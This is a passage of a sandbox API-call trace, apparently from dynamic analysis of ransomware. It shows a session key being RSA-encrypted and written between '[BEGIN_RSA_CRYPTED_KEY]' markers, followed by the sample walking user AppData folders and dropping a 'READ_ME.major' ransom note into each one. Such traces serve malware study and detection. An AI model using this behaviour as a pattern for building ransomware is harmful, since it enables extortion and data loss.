lpBuffer=0x59d350*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0200.453] SetFilePointer (in: hFile=0x1138, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0200.453] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.453] WriteFile (in: hFile=0x1138, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.454] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0200.454] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0200.454] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0200.455] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="zGLXXDI2mXv0j5f/habW9HH+Ekq0dsZIoCrhWQHKR4kgsfyGd3aZrnu412YXyxFF\npjkZycBInOOxFRzkofco2OjKqAu0vr5bOcTC9mBrfEQNtPwz95hpqk4tLbOxuw0W\nTiikQNXXFmPxUIsLvLkmg14CWALKqKA47clXjb41/hzz/0XlI9AxgAp7oBxsi8Hr\npo62sViXhkLeWnhgsveaVpVLLZa8fNXYeP7UujhIJUjx/4k1OjcYKdANb+G6Z1R5\nv2HwEt0GJpzsw61T8Pi3sjphyYO/X91lgxZmrpJODAfojXXIAd1dRiuZuaHTGP0H\ngWyJA73HyXjseb3e4EqHFw==\n", pcchString=0x2e3f9a8) returned 1 [0200.455] WriteFile (in: hFile=0x1138, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0200.455] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0200.455] WriteFile (in: hFile=0x1138, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0200.455] CloseHandle (hObject=0x1138) returned 1 [0200.456] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbc40 [0200.457] FindNextFileW (in: hFindFile=0x30fbc40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.457] FindNextFileW (in: hFindFile=0x30fbc40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a5b557, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30a5b557, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.457] FindNextFileW (in: hFindFile=0x30fbc40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a5b557, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30a5b557, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30a5b557, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.457] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30a81717, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbe00 [0200.457] FindNextFileW (in: hFindFile=0x30fbe00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74b12964, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b12964, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30a81717, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.457] FindNextFileW (in: hFindFile=0x30fbe00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a81717, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30a81717, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30a81717, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.457] FindNextFileW (in: hFindFile=0x30fbe00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30a81717, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30a81717, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30a81717, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.457] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x74116aed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30ad022d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbc80 [0200.457] FindNextFileW (in: hFindFile=0x30fbc80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x74116aed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30ad022d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.458] FindNextFileW (in: hFindFile=0x30fbc80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74116aed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74116aed, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0200.458] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkconnectionflow_cw5n1h2txyewy\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1144 [0200.459] WriteFile (in: hFile=0x1144, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.460] CloseHandle (hObject=0x1144) returned 1 [0200.460] FindNextFileW (in: hFindFile=0x30fbc80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74116aed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74116aed, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0200.460] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkconnectionflow_cw5n1h2txyewy\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1144 [0200.461] WriteFile (in: hFile=0x1144, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.462] CloseHandle (hObject=0x1144) returned 1 [0200.462] FindNextFileW (in: hFindFile=0x30fbc80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74116aed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74116aed, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0200.462] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.oobenetworkconnectionflow_cw5n1h2txyewy\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1144 [0200.463] WriteFile (in: hFile=0x1144, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0200.464] CloseHandle (hObject=0x1144) returned 1 [0200.464] FindNextFileW (in: hFindFile=0x30fbc80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30ad022d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30ad022d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30ad022d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.464] FindNextFileW (in: hFindFile=0x30fbc80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74116aed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74116aed, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0200.464] FindNextFileW (in: hFindFile=0x30fbc80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74116aed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x74116aed, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0200.464] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30ad022d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbcc0 [0200.465] FindNextFileW (in: hFindFile=0x30fbcc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30ad022d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.465] FindNextFileW (in: hFindFile=0x30fbcc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30ad022d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30ad022d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30b1a121, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.465] FindNextFileW (in: hFindFile=0x30fbcc0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30ad022d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30ad022d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30b1a121, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.465] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30b1a121, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbd00 [0200.465] FindNextFileW (in: hFindFile=0x30fbd00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30b1a121, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.465] FindNextFileW (in: hFindFile=0x30fbd00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b1a121, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30b1a121, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30b1a121, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.465] FindNextFileW (in: hFindFile=0x30fbd00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b1a121, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30b1a121, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30b1a121, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.465] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30b1a121, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb900 [0200.465] FindNextFileW (in: hFindFile=0x30fb900, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30b1a121, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.466] FindNextFileW (in: hFindFile=0x30fb900, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b1a121, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30b1a121, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30b6d113, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.466] FindNextFileW (in: hFindFile=0x30fb900, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b1a121, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30b1a121, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30b6d113, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.466] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30b6d113, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fb940 [0200.466] FindNextFileW (in: hFindFile=0x30fb940, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30b6d113, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.466] FindNextFileW (in: hFindFile=0x30fb940, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b6d113, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30b6d113, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.466] FindNextFileW (in: hFindFile=0x30fb940, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b6d113, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30b6d113, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0200.466] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x30fbd40 [0200.466] FindNextFileW (in: hFindFile=0x30fbd40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.466] FindNextFileW (in: hFindFile=0x30fbd40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30b8c883, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x30b8c883, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x30b8c883, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0200.466] FindNextFileW (in: hFindFile=0x30fbd40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x740ca625, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x740ca625, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x740ca625, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, 